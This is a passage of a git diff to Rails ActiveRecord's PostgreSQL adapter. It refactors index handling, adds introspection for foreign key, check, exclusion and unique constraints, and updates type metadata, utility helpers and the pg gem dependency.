-          index_name, index_type, index_columns, index_options, index_algorithm, index_using, comment = add_index_options(table_name, column_name, options)
-          execute("CREATE #{index_type} INDEX #{index_algorithm} #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} #{index_using} (#{index_columns})#{index_options}").tap do
-            execute "COMMENT ON INDEX #{quote_column_name(index_name)} IS #{quote(comment)}" if comment
-          end
+        def add_index(table_name, column_name, **options) # :nodoc:
+          create_index = build_create_index_definition(table_name, column_name, **options)
+          result = execute schema_creation.accept(create_index)
+
+          index = create_index.index
+          execute "COMMENT ON INDEX #{quote_column_name(index.name)} IS #{quote(index.comment)}" if index.comment
+          result
+        end
+
+        def build_create_index_definition(table_name, column_name, **options) # :nodoc:
+          index, algorithm, if_not_exists = add_index_options(table_name, column_name, **options)
+          CreateIndexDefinition.new(index, algorithm, if_not_exists)
         end
 
-        def remove_index(table_name, options = {}) #:nodoc:
+        def remove_index(table_name, column_name = nil, **options) # :nodoc:
           table = Utils.extract_schema_qualified_name(table_name.to_s)
 
-          if options.is_a?(Hash) && options.key?(:name)
+          if options.key?(:name)
             provided_index = Utils.extract_schema_qualified_name(options[:name].to_s)
 
             options[:name] = provided_index.identifier
@@ -560,14 +721,11 @@ def remove_index(table_name, options = {}) #:nodoc:
             end
           end
 
-          index_to_remove = PostgreSQL::Name.new(table.schema, index_name_for_remove(table.to_s, options))
-          algorithm =
-            if options.is_a?(Hash) && options.key?(:algorithm)
-              index_algorithms.fetch(options[:algorithm]) do
-                raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
-              end
-            end
-          execute "DROP INDEX #{algorithm} #{quote_table_name(index_to_remove)}"
+          return if options[:if_exists] && !index_exists?(table_name, column_name, **options)
+
+          index_to_remove = PostgreSQL::Name.new(table.schema, index_name_for_remove(table.to_s, column_name, options))
+
+          execute "DROP INDEX #{index_algorithm(options[:algorithm])} #{quote_table_name(index_to_remove)}"
         end
 
         # Renames an index of a table. Raises error if length of new
@@ -575,52 +733,285 @@ def remove_index(table_name, options = {}) #:nodoc:
         def rename_index(table_name, old_name, new_name)
           validate_index_length!(table_name, new_name)
 
-          execute "ALTER INDEX #{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
+          schema, = extract_schema_qualified_name(table_name)
+          execute "ALTER INDEX #{quote_table_name(schema) + '.' if schema}#{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
+        end
+
+        def index_name(table_name, options) # :nodoc:
+          _schema, table_name = extract_schema_qualified_name(table_name.to_s)
+          super
+        end
+
+        def add_foreign_key(from_table, to_table, **options)
+          assert_valid_deferrable(options[:deferrable])
+
+          super
         end
 
         def foreign_keys(table_name)
-          fk_info = select_all(<<-SQL.strip_heredoc, "SCHEMA")
-            SELECT t2.oid::regclass::text AS to_table, a1.attname AS column, a2.attname AS primary_key, c.conname AS name, c.confupdtype AS on_update, c.confdeltype AS on_delete
+          scope = quoted_scope(table_name)
+          fk_info = query_all(<<~SQL)
+            SELECT t2.oid::regclass::text AS to_table, c.conname AS name, c.confupdtype AS on_update, c.confdeltype AS on_delete, c.convalidated AS valid, c.condeferrable AS deferrable, c.condeferred AS deferred, c.conrelid, c.confrelid,
+              (
+                SELECT array_agg(a.attname ORDER BY idx)
+                FROM (
+                  SELECT idx, c.conkey[idx] AS conkey_elem
+                  FROM generate_subscripts(c.conkey, 1) AS idx
+                ) indexed_conkeys
+                JOIN pg_attribute a ON a.attrelid = t1.oid
+                AND a.attnum = indexed_conkeys.conkey_elem
+              ) AS conkey_names,
+              (
+                SELECT array_agg(a.attname ORDER BY idx)
+                FROM (
+                  SELECT idx, c.confkey[idx] AS confkey_elem
+                  FROM generate_subscripts(c.confkey, 1) AS idx
+                ) indexed_confkeys
+                JOIN pg_attribute a ON a.attrelid = t2.oid
+                AND a.attnum = indexed_confkeys.confkey_elem
+              ) AS confkey_names
             FROM pg_constraint c
             JOIN pg_class t1 ON c.conrelid = t1.oid
             JOIN pg_class t2 ON c.confrelid = t2.oid
-            JOIN pg_attribute a1 ON a1.attnum = c.conkey[1] AND a1.attrelid = t1.oid
-            JOIN pg_attribute a2 ON a2.attnum = c.confkey[1] AND a2.attrelid = t2.oid
-            JOIN pg_namespace t3 ON c.connamespace = t3.oid
+            JOIN pg_namespace n ON c.connamespace = n.oid
             WHERE c.contype = 'f'
-              AND t1.relname = #{quote(table_name)}
-              AND t3.nspname = ANY (current_schemas(false))
+              AND t1.relname = #{scope[:name]}
+              AND n.nspname = #{scope[:schema]}
             ORDER BY c.conname
           SQL
 
           fk_info.map do |row|
+            to_table = Utils.unquote_identifier(row["to_table"])
+
+            column = decode_string_array(row["conkey_names"])
+            primary_key = decode_string_array(row["confkey_names"])
+
             options = {
-              column: row["column"],
+              column: column.size == 1 ? column.first : column,
               name: row["name"],
-              primary_key: row["primary_key"]
+              primary_key: primary_key.size == 1 ? primary_key.first : primary_key
             }
 
             options[:on_delete] = extract_foreign_key_action(row["on_delete"])
             options[:on_update] = extract_foreign_key_action(row["on_update"])
+            options[:deferrable] = extract_constraint_deferrable(row["deferrable"], row["deferred"])
 
-            ForeignKeyDefinition.new(table_name, row["to_table"], options)
+            options[:validate] = row["valid"]
+
+            ForeignKeyDefinition.new(table_name, to_table, options)
           end
         end
 
-        def extract_foreign_key_action(specifier) # :nodoc:
-          case specifier
-          when "c"; :cascade
-          when "n"; :nullify
-          when "r"; :restrict
+        def foreign_tables
+          query_values(data_source_sql(type: "FOREIGN TABLE"))
+        end
+
+        def foreign_table_exists?(table_name)
+          query_values(data_source_sql(table_name, type: "FOREIGN TABLE")).any? if table_name.present?
+        end
+
+        def check_constraints(table_name) # :nodoc:
+          scope = quoted_scope(table_name)
+
+          check_info = query_all(<<-SQL)
+            SELECT conname, pg_get_constraintdef(c.oid, true) AS constraintdef, c.convalidated AS valid
+            FROM pg_constraint c
+            JOIN pg_class t ON c.conrelid = t.oid
+            JOIN pg_namespace n ON n.oid = c.connamespace
+            WHERE c.contype = 'c'
+              AND t.relname = #{scope[:name]}
+              AND n.nspname = #{scope[:schema]}
+          SQL
+
+          check_info.map do |row|
+            options = {
+              name: row["conname"],
+              validate: row["valid"]
+            }
+            expression = row["constraintdef"][/CHECK \((.+)\)/m, 1]
+
+            CheckConstraintDefinition.new(table_name, expression, options)
           end
         end
 
-        def index_name_length
-          63
+        # Returns an array of exclusion constraints for the given table.
+        # The exclusion constraints are represented as ExclusionConstraintDefinition objects.
+        def exclusion_constraints(table_name)
+          scope = quoted_scope(table_name)
+
+          exclusion_info = query_all(<<-SQL)
+            SELECT conname, pg_get_constraintdef(c.oid) AS constraintdef, c.condeferrable, c.condeferred
+            FROM pg_constraint c
+            JOIN pg_class t ON c.conrelid = t.oid
+            JOIN pg_namespace n ON n.oid = c.connamespace
+            WHERE c.contype = 'x'
+              AND t.relname = #{scope[:name]}
+              AND n.nspname = #{scope[:schema]}
+          SQL
+
+          exclusion_info.map do |row|
+            method_and_elements, predicate = row["constraintdef"].split(" WHERE ")
+            method_and_elements_parts = method_and_elements.match(/EXCLUDE(?: USING (?<using>\S+))? \((?<expression>.+)\)/)
+            predicate.remove!(/ DEFERRABLE(?: INITIALLY (?:IMMEDIATE|DEFERRED))?/) if predicate
+            predicate = predicate.from(2).to(-3) if predicate # strip 2 opening and closing parentheses
+
+            deferrable = extract_constraint_deferrable(row["condeferrable"], row["condeferred"])
+
+            options = {
+              name: row["conname"],
+              using: method_and_elements_parts["using"].to_sym,
+              where: predicate,
+              deferrable: deferrable
+            }
+
+            ExclusionConstraintDefinition.new(table_name, method_and_elements_parts["expression"], options)
+          end
+        end
+
+        # Returns an array of unique constraints for the given table.
+        # The unique constraints are represented as UniqueConstraintDefinition objects.
+        def unique_constraints(table_name)
+          scope = quoted_scope(table_name)
+
+          unique_info = query_all(<<~SQL)
+            SELECT c.conname, c.conrelid, c.condeferrable, c.condeferred, pg_get_constraintdef(c.oid) AS constraintdef,
+            (
+              SELECT array_agg(a.attname ORDER BY idx)
+              FROM (
+                SELECT idx, c.conkey[idx] AS conkey_elem
+                FROM generate_subscripts(c.conkey, 1) AS idx
+              ) indexed_conkeys
+              JOIN pg_attribute a ON a.attrelid = t.oid
+              AND a.attnum = indexed_conkeys.conkey_elem
+            ) AS conkey_names
+            FROM pg_constraint c
+            JOIN pg_class t ON c.conrelid = t.oid
+            JOIN pg_namespace n ON n.oid = c.connamespace
+            WHERE c.contype = 'u'
+              AND t.relname = #{scope[:name]}
+              AND n.nspname = #{scope[:schema]}
+          SQL
+
+          unique_info.map do |row|
+            columns = decode_string_array(row["conkey_names"])
+
+            nulls_not_distinct = row["constraintdef"].start_with?("UNIQUE NULLS NOT DISTINCT")
+            deferrable = extract_constraint_deferrable(row["condeferrable"], row["condeferred"])
+
+            options = {
+              name: row["conname"],
+              nulls_not_distinct: nulls_not_distinct,
+              deferrable: deferrable
+            }
+
+            UniqueConstraintDefinition.new(table_name, columns, options)
+          end
+        end
+
+        # Adds a new exclusion constraint to the table. +expression+ is a String
+        # representation of a list of exclusion elements and operators.
+        #
+        #   add_exclusion_constraint :products, "price WITH =, availability_range WITH &&", using: :gist, name: "price_check"
+        #
+        # generates:
+        #
+        #   ALTER TABLE "products" ADD CONSTRAINT price_check EXCLUDE USING gist (price WITH =, availability_range WITH &&)
+        #
+        # The +options+ hash can include the following keys:
+        # [<tt>:name</tt>]
+        #   The constraint name. Defaults to <tt>excl_rails_<identifier></tt>.
+        # [<tt>:deferrable</tt>]
+        #   Specify whether or not the exclusion constraint should be deferrable. Valid values are +false+ or +:immediate+ or +:deferred+ to specify the default behavior. Defaults to +false+.
+        # [<tt>:using</tt>]
+        #   Specify which index method to use when creating this exclusion constraint (e.g. +:btree+, +:gist+ etc).
+        # [<tt>:where</tt>]
+        #   Specify an exclusion constraint on a subset of the table (internally PostgreSQL creates a partial index for this).
+        def add_exclusion_constraint(table_name, expression, **options)
+          options = exclusion_constraint_options(table_name, expression, options)
+          at = create_alter_table(table_name)
+          at.add_exclusion_constraint(expression, options)
+
+          execute schema_creation.accept(at)
+        end
+
+        def exclusion_constraint_options(table_name, expression, options) # :nodoc:
+          assert_valid_deferrable(options[:deferrable])
+
+          options = options.dup
+          options[:name] ||= exclusion_constraint_name(table_name, expression: expression, **options)
+          options
+        end
+
+        # Removes the given exclusion constraint from the table.
+        #
+        #   remove_exclusion_constraint :products, name: "price_check"
+        #
+        # The +expression+ parameter will be ignored if present. It can be helpful
+        # to provide this in a migration's +change+ method so it can be reverted.
+        # In that case, +expression+ will be used by #add_exclusion_constraint.
+        def remove_exclusion_constraint(table_name, expression = nil, **options)
+          excl_name_to_delete = exclusion_constraint_for!(table_name, expression: expression, **options).name
+
+          remove_constraint(table_name, excl_name_to_delete)
+        end
+
+        # Adds a new unique constraint to the table.
+        #
+        #   add_unique_constraint :sections, [:position], deferrable: :deferred, name: "unique_position", nulls_not_distinct: true
+        #
+        # generates:
+        #
+        #   ALTER TABLE "sections" ADD CONSTRAINT unique_position UNIQUE (position) DEFERRABLE INITIALLY DEFERRED
+        #
+        # If you want to change an existing unique index to deferrable, you can use :using_index to create deferrable unique constraints.
+        #
+        #   add_unique_constraint :sections, deferrable: :deferred, name: "unique_position", using_index: "index_sections_on_position"
+        #
+        # The +options+ hash can include the following keys:
+        # [<tt>:name</tt>]
+        #   The constraint name. Defaults to <tt>uniq_rails_<identifier></tt>.
+        # [<tt>:deferrable</tt>]
+        #   Specify whether or not the unique constraint should be deferrable. Valid values are +false+ or +:immediate+ or +:deferred+ to specify the default behavior. Defaults to +false+.
+        # [<tt>:using_index</tt>]
+        #   To specify an existing unique index name. Defaults to +nil+.
+        # [<tt>:nulls_not_distinct</tt>]
+        #   Create a unique constraint where NULLs are treated equally.
+        #   Note: only supported by PostgreSQL version 15.0.0 and greater.
+        def add_unique_constraint(table_name, column_name = nil, **options)
+          options = unique_constraint_options(table_name, column_name, options)
+          at = create_alter_table(table_name)
+          at.add_unique_constraint(column_name, options)
+
+          execute schema_creation.accept(at)
+        end
+
+        def unique_constraint_options(table_name, column_name, options) # :nodoc:
+          assert_valid_deferrable(options[:deferrable])
+
+          if column_name && options[:using_index]
+            raise ArgumentError, "Cannot specify both column_name and :using_index options."
+          end
+
+          options = options.dup
+          options[:name] ||= unique_constraint_name(table_name, column: column_name, **options)
+          options
+        end
+
+        # Removes the given unique constraint from the table.
+        #
+        #   remove_unique_constraint :sections, name: "unique_position"
+        #
+        # The +column_name+ parameter will be ignored if present. It can be helpful
+        # to provide this in a migration's +change+ method so it can be reverted.
+        # In that case, +column_name+ will be used by #add_unique_constraint.
+        def remove_unique_constraint(table_name, column_name = nil, **options)
+          unique_name_to_delete = unique_constraint_for!(table_name, column: column_name, **options).name
+
+          remove_constraint(table_name, unique_name_to_delete)
         end
 
         # Maps logical Rails types to PostgreSQL-specific data types.
-        def type_to_sql(type, limit: nil, precision: nil, scale: nil, array: nil, **) # :nodoc:
+        def type_to_sql(type, limit: nil, precision: nil, scale: nil, array: nil, enum_type: nil, **) # :nodoc:
           sql = \
             case type.to_s
             when "binary"
@@ -628,55 +1019,324 @@ def type_to_sql(type, limit: nil, precision: nil, scale: nil, array: nil, **) #
               # The hard limit is 1GB, because of a 32-bit size field, and TOAST.
               case limit
               when nil, 0..0x3fffffff; super(type)
-              else raise(ActiveRecordError, "No binary type has byte size #{limit}.")
+              else raise ArgumentError, "No binary type has byte size #{limit}. The limit on binary can be at most 1GB - 1byte."
               end
             when "text"
               # PostgreSQL doesn't support limits on text columns.
               # The hard limit is 1GB, according to section 8.3 in the manual.
               case limit
               when nil, 0..0x3fffffff; super(type)
-              else raise(ActiveRecordError, "The limit on text can be at most 1GB - 1byte.")
+              else raise ArgumentError, "No text type has byte size #{limit}. The limit on text can be at most 1GB - 1byte."
               end
             when "integer"
               case limit
               when 1, 2; "smallint"
               when nil, 3, 4; "integer"
               when 5..8; "bigint"
-              else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with scale 0 instead.")
+              else raise ArgumentError, "No integer type has byte size #{limit}. Use a numeric with scale 0 instead."
               end
+            when "enum"
+              raise ArgumentError, "enum_type is required for enums" if enum_type.nil?
+
+              enum_type
             else
               super
             end
 
-          sql << "[]" if array && type != :primary_key
+          sql = "#{sql}[]" if array && type != :primary_key
           sql
         end
 
         # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
         # requires that the ORDER BY include the distinct column.
-        def columns_for_distinct(columns, orders) #:nodoc:
-          order_columns = orders.reject(&:blank?).map { |s|
-              # Convert Arel node to string
-              s = s.to_sql unless s.is_a?(String)
-              # Remove any ASC/DESC modifiers
-              s.gsub(/\s+(?:ASC|DESC)\b/i, "")
-               .gsub(/\s+NULLS\s+(?:FIRST|LAST)\b/i, "")
-            }.reject(&:blank?).map.with_index { |column, i| "#{column} AS alias_#{i}" }
-
-          [super, *order_columns].join(", ")
-        end
-
-        def fetch_type_metadata(column_name, sql_type, oid, fmod)
-          cast_type = get_oid_type(oid, fmod, column_name, sql_type)
-          simple_type = SqlTypeMetadata.new(
-            sql_type: sql_type,
-            type: cast_type.type,
-            limit: cast_type.limit,
-            precision: cast_type.precision,
-            scale: cast_type.scale,
-          )
-          PostgreSQLTypeMetadata.new(simple_type, oid: oid, fmod: fmod)
+        def columns_for_distinct(columns, orders) # :nodoc:
+          order_columns = orders.compact_blank.map { |s|
+            # Convert Arel node to string
+            s = visitor.compile(s) unless s.is_a?(String)
+            # Remove any ASC/DESC modifiers
+            s.gsub(/\s+(?:ASC|DESC)\b/i, "")
+             .gsub(/\s+NULLS\s+(?:FIRST|LAST)\b/i, "")
+          }.compact_blank.map.with_index { |column, i| "#{column} AS alias_#{i}" }
+
+          (order_columns << super).join(", ")
+        end
+
+        def update_table_definition(table_name, base) # :nodoc:
+          PostgreSQL::Table.new(table_name, base)
+        end
+
+        def create_schema_dumper(options) # :nodoc:
+          PostgreSQL::SchemaDumper.create(self, options)
+        end
+
+        # Validates the given constraint.
+        #
+        # Validates the constraint named +constraint_name+ on +accounts+.
+        #
+        #   validate_constraint :accounts, :constraint_name
+        def validate_constraint(table_name, constraint_name)
+          at = create_alter_table table_name
+          at.validate_constraint constraint_name
+
+          execute schema_creation.accept(at)
+        end
+
+        # Validates the given foreign key.
+        #
+        # Validates the foreign key on +accounts.branch_id+.
+        #
+        #   validate_foreign_key :accounts, :branches
+        #
+        # Validates the foreign key on +accounts.owner_id+.
+        #
+        #   validate_foreign_key :accounts, column: :owner_id
+        #
+        # Validates the foreign key named +special_fk_name+ on the +accounts+ table.
+        #
+        #   validate_foreign_key :accounts, name: :special_fk_name
+        #
+        # The +options+ hash accepts the same keys as SchemaStatements#add_foreign_key.
+        def validate_foreign_key(from_table, to_table = nil, **options)
+          fk_name_to_validate = foreign_key_for!(from_table, to_table: to_table, **options).name
+
+          validate_constraint from_table, fk_name_to_validate
+        end
+
+        # Validates the given check constraint.
+        #
+        #   validate_check_constraint :products, name: "price_check"
+        #
+        # The +options+ hash accepts the same keys as {add_check_constraint}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_check_constraint].
+        def validate_check_constraint(table_name, **options)
+          chk_name_to_validate = check_constraint_for!(table_name, **options).name
+
+          validate_constraint table_name, chk_name_to_validate
+        end
+
+        def foreign_key_column_for(table_name, column_name) # :nodoc:
+          _schema, table_name = extract_schema_qualified_name(table_name)
+          super
         end
+
+        def add_index_options(table_name, column_name, **options) # :nodoc:
+          if (where = options[:where]) && table_exists?(table_name) && column_exists?(table_name, where)
+            options[:where] = quote_column_name(where)
+          end
+          super
+        end
+
+        def quoted_include_columns_for_index(column_names) # :nodoc:
+          return quote_column_name(column_names) if column_names.is_a?(Symbol)
+
+          quoted_columns = column_names.each_with_object({}) do |name, result|
+            result[name.to_sym] = quote_column_name(name).dup
+          end
+          add_options_for_index_columns(quoted_columns).values.join(", ")
+        end
+
+        def schema_creation  # :nodoc:
+          PostgreSQL::SchemaCreation.new(self)
+        end
+
+        private
+          def create_table_definition(name, **options)
+            PostgreSQL::TableDefinition.new(self, name, **options)
+          end
+
+          def create_alter_table(name)
+            PostgreSQL::AlterTable.new create_table_definition(name)
+          end
+
+          def new_column_from_field(table_name, field, _definitions)
+            column_name, type, default, notnull, oid, fmod, collation, comment, identity, attgenerated = field
+            type_metadata = fetch_type_metadata(column_name, type, oid.to_i, fmod.to_i)
+            default_value = extract_value_from_default(default)
+
+            if attgenerated.present?
+              default_function = default
+            else
+              default_function = extract_default_function(default_value, default)
+            end
+
+            if match = default_function&.match(/\Anextval\('"?(?<sequence_name>.+_(?<suffix>seq\d*))"?'::regclass\)\z/)
+              serial = sequence_name_from_parts(table_name, column_name, match[:suffix]) == match[:sequence_name]
+            end
+
+            PostgreSQL::Column.new(
+              column_name,
+              get_oid_type(oid.to_i, fmod.to_i, column_name, type),
+              default_value,
+              type_metadata,
+              !notnull,
+              default_function,
+              collation: collation,
+              comment: comment.presence,
+              serial: serial,
+              identity: identity.presence,
+              generated: attgenerated
+            )
+          end
+
+          def fetch_type_metadata(column_name, sql_type, oid, fmod)
+            cast_type = get_oid_type(oid, fmod, column_name, sql_type)
+            simple_type = SqlTypeMetadata.new(
+              sql_type: sql_type,
+              type: cast_type.type,
+              limit: cast_type.limit,
+              precision: cast_type.precision,
+              scale: cast_type.scale,
+            )
+            PostgreSQL::TypeMetadata.new(simple_type, oid: oid, fmod: fmod)
+          end
+
+          def sequence_name_from_parts(table_name, column_name, suffix)
+            over_length = [table_name, column_name, suffix].sum(&:length) + 2 - max_identifier_length
+
+            if over_length > 0
+              column_name_length = [(max_identifier_length - suffix.length - 2) / 2, column_name.length].min
+              over_length -= column_name.length - column_name_length
+              column_name = column_name[0, column_name_length - [over_length, 0].min]
+            end
+
+            if over_length > 0
+              table_name = table_name[0, table_name.length - over_length]
+            end
+
+            "#{table_name}_#{column_name}_#{suffix}"
+          end
+
+          def extract_foreign_key_action(specifier)
+            case specifier
+            when "c"; :cascade
+            when "n"; :nullify
+            when "r"; :restrict
+            end
+          end
+
+          def assert_valid_deferrable(deferrable)
+            return if !deferrable || %i(immediate deferred).include?(deferrable)
+
+            raise ArgumentError, "deferrable must be `:immediate` or `:deferred`, got: `#{deferrable.inspect}`"
+          end
+
+          def extract_constraint_deferrable(deferrable, deferred)
+            deferrable && (deferred ? :deferred : :immediate)
+          end
+
+          def reference_name_for_table(table_name)
+            _schema, table_name = extract_schema_qualified_name(table_name.to_s)
+            table_name.singularize
+          end
+
+          def add_column_for_alter(table_name, column_name, type, **options)
+            return super unless options.key?(:comment)
+            [super, Proc.new { change_column_comment(table_name, column_name, options[:comment]) }]
+          end
+
+          def change_column_for_alter(table_name, column_name, type, **options)
+            change_col_def = build_change_column_definition(table_name, column_name, type, **options)
+            sqls = [schema_creation.accept(change_col_def)]
+            sqls << Proc.new { change_column_comment(table_name, column_name, options[:comment]) } if options.key?(:comment)
+            sqls
+          end
+
+          def change_column_null_for_alter(table_name, column_name, null, default = nil)
+            if default.nil?
+              "ALTER COLUMN #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL"
+            else
+              Proc.new { change_column_null(table_name, column_name, null, default) }
+            end
+          end
+
+          def add_index_opclass(quoted_columns, **options)
+            opclasses = options_for_index_columns(options[:opclass])
+            quoted_columns.each do |name, column|
+              column << " #{opclasses[name]}" if opclasses[name].present?
+            end
+          end
+
+          def add_options_for_index_columns(quoted_columns, **options)
+            quoted_columns = add_index_opclass(quoted_columns, **options)
+            super
+          end
+
+          def exclusion_constraint_name(table_name, **options)
+            options.fetch(:name) do
+              expression = options.fetch(:expression)
+              identifier = "#{table_name}_#{expression}_excl"
+              hashed_identifier = Digest::SHA256.hexdigest(identifier).first(10)
+
+              "excl_rails_#{hashed_identifier}"
+            end
+          end
+
+          def exclusion_constraint_for(table_name, **options)
+            excl_name = exclusion_constraint_name(table_name, **options)
+            exclusion_constraints(table_name).detect { |excl| excl.name == excl_name }
+          end
+
+          def exclusion_constraint_for!(table_name, expression: nil, **options)
+            exclusion_constraint_for(table_name, expression: expression, **options) ||
+              raise(ArgumentError, "Table '#{table_name}' has no exclusion constraint for #{expression || options}")
+          end
+
+          def unique_constraint_name(table_name, **options)
+            options.fetch(:name) do
+              column_or_index = Array(options[:column] || options[:using_index]).map(&:to_s)
+              identifier = "#{table_name}_#{column_or_index * '_and_'}_unique"
+              hashed_identifier = Digest::SHA256.hexdigest(identifier).first(10)
+
+              "uniq_rails_#{hashed_identifier}"
+            end
+          end
+
+          def unique_constraint_for(table_name, **options)
+            name = unique_constraint_name(table_name, **options) unless options.key?(:column)
+            unique_constraints(table_name).detect { |unique_constraint| unique_constraint.defined_for?(name: name, **options) }
+          end
+
+          def unique_constraint_for!(table_name, column: nil, **options)
+            unique_constraint_for(table_name, column: column, **options) ||
+              raise(ArgumentError, "Table '#{table_name}' has no unique constraint for #{column || options}")
+          end
+
+          def data_source_sql(name = nil, type: nil)
+            scope = quoted_scope(name, type: type)
+            scope[:type] ||= "'r','v','m','p','f'" # (r)elation/table, (v)iew, (m)aterialized view, (p)artitioned table, (f)oreign table
+
+            sql = +"SELECT c.relname FROM pg_class c LEFT JOIN pg_namespace n ON n.oid = c.relnamespace"
+            sql << " WHERE n.nspname = #{scope[:schema]}"
+            sql << " AND c.relname = #{scope[:name]}" if scope[:name]
+            sql << " AND c.relkind IN (#{scope[:type]})"
+            sql
+          end
+
+          def quoted_scope(name = nil, type: nil)
+            schema, name = extract_schema_qualified_name(name)
+            type = \
+              case type
+              when "BASE TABLE"
+                "'r','p'"
+              when "VIEW"
+                "'v','m'"
+              when "FOREIGN TABLE"
+                "'f'"
+              end
+            scope = {}
+            scope[:schema] = schema ? quote(schema) : "ANY (current_schemas(false))"
+            scope[:name] = quote(name) if name
+            scope[:type] = type if type
+            scope
+          end
+
+          def extract_schema_qualified_name(string)
+            name = Utils.extract_schema_qualified_name(string.to_s)
+            [name.schema, name.identifier]
+          end
+
+          def decode_string_array(value)
+            PG::TextDecoder::Array.new.decode(value)
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb b/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb
index 311988625f23a..1fd053c397462 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb
@@ -1,35 +1,44 @@
+# frozen_string_literal: true
+
 module ActiveRecord
+  # :stopdoc:
   module ConnectionAdapters
-    class PostgreSQLTypeMetadata < DelegateClass(SqlTypeMetadata)
-      attr_reader :oid, :fmod, :array
+    module PostgreSQL
+      class TypeMetadata < ActiveSupport::Delegation::DelegateClass(SqlTypeMetadata)
+        undef to_yaml if method_defined?(:to_yaml)
 
-      def initialize(type_metadata, oid: nil, fmod: nil)
-        super(type_metadata)
-        @type_metadata = type_metadata
-        @oid = oid
-        @fmod = fmod
-        @array = /\[\]$/.match?(type_metadata.sql_type)
-      end
+        include Deduplicable
 
-      def sql_type
-        super.gsub(/\[\]$/, "".freeze)
-      end
-
-      def ==(other)
-        other.is_a?(PostgreSQLTypeMetadata) &&
-          attributes_for_hash == other.attributes_for_hash
-      end
-      alias eql? ==
+        attr_reader :oid, :fmod
 
-      def hash
-        attributes_for_hash.hash
-      end
+        def initialize(type_metadata, oid: nil, fmod: nil)
+          super(type_metadata)
+          @oid = oid
+          @fmod = fmod
+        end
 
-      protected
+        def ==(other)
+          other.is_a?(TypeMetadata) &&
+            __getobj__ == other.__getobj__ &&
+            oid == other.oid &&
+            fmod == other.fmod
+        end
+        alias eql? ==
 
-        def attributes_for_hash
-          [self.class, @type_metadata, oid, fmod]
+        def hash
+          TypeMetadata.hash ^
+            __getobj__.hash ^
+            oid.hash ^
+            fmod.hash
         end
+
+        private
+          def deduplicated
+            __setobj__(__getobj__.deduplicate)
+            super
+          end
+      end
     end
+    PostgreSQLTypeMetadata = PostgreSQL::TypeMetadata
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb b/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
index a3f9ce6d648c2..110b8017fa759 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
@@ -10,7 +12,7 @@ class Name # :nodoc:
         attr_reader :schema, :identifier
 
         def initialize(schema, identifier)
-          @schema, @identifier = unquote(schema), unquote(identifier)
+          @schema, @identifier = Utils.unquote_identifier(schema), Utils.unquote_identifier(identifier)
         end
 
         def to_s
@@ -19,9 +21,9 @@ def to_s
 
         def quoted
           if schema
-            PGconn.quote_ident(schema) << SEPARATOR << PGconn.quote_ident(identifier)
+            PG::Connection.quote_ident(schema) << SEPARATOR << PG::Connection.quote_ident(identifier)
           else
-            PGconn.quote_ident(identifier)
+            PG::Connection.quote_ident(identifier)
           end
         end
 
@@ -35,19 +37,9 @@ def hash
         end
 
         protected
-
           def parts
             @parts ||= [@schema, @identifier].compact
           end
-
-        private
-          def unquote(part)
-            if part && part.start_with?('"')
-              part[1..-2]
-            else
-              part
-            end
-          end
       end
 
       module Utils # :nodoc:
@@ -66,13 +58,21 @@ module Utils # :nodoc:
         # * <tt>"schema_name".table_name</tt>
         # * <tt>"schema.name"."table name"</tt>
         def extract_schema_qualified_name(string)
-          schema, table = string.scan(/[^".\s]+|"[^"]*"/)
+          schema, table = string.scan(/[^".]+|"[^"]*"/)
           if table.nil?
             table = schema
             schema = nil
           end
           PostgreSQL::Name.new(schema, table)
         end
+
+        def unquote_identifier(identifier)
+          if identifier && identifier.start_with?('"')
+            identifier[1..-2]
+          else
+            identifier
+          end
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index 36c98155479fc..60d0585e8a699 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -1,8 +1,11 @@
-# Make sure we're using pg high enough for type casts and Ruby 2.2+ compatibility
-gem "pg", "~> 0.18"
+# frozen_string_literal: true
+
+gem "pg", "~> 1.1"
 require "pg"
 
+require "active_support/core_ext/object/try"
 require "active_record/connection_adapters/abstract_adapter"
+require "active_record/connection_adapters/statement_pool"
 require "active_record/connection_adapters/postgresql/column"
 require "active_record/connection_adapters/postgresql/database_statements"
 require "active_record/connection_adapters/postgresql/explain_pretty_printer"
@@ -15,41 +18,21 @@
 require "active_record/connection_adapters/postgresql/schema_statements"
 require "active_record/connection_adapters/postgresql/type_metadata"
 require "active_record/connection_adapters/postgresql/utils"
-require "active_record/connection_adapters/statement_pool"
 
 module ActiveRecord
-  module ConnectionHandling # :nodoc:
-    # Establishes a connection to the database that's used by all Active Record objects
-    def postgresql_connection(config)
-      conn_params = config.symbolize_keys
-
-      conn_params.delete_if { |_, v| v.nil? }
-
-      # Map ActiveRecords param names to PGs.
-      conn_params[:user] = conn_params.delete(:username) if conn_params[:username]
-      conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database]
-
-      # Forward only valid config params to PGconn.connect.
-      valid_conn_param_keys = PGconn.conndefaults_hash.keys + [:requiressl]
-      conn_params.slice!(*valid_conn_param_keys)
-
-      # The postgres drivers don't allow the creation of an unconnected PGconn object,
-      # so just pass a nil connection object for the time being.
-      ConnectionAdapters::PostgreSQLAdapter.new(nil, logger, conn_params, config)
-    end
-  end
-
   module ConnectionAdapters
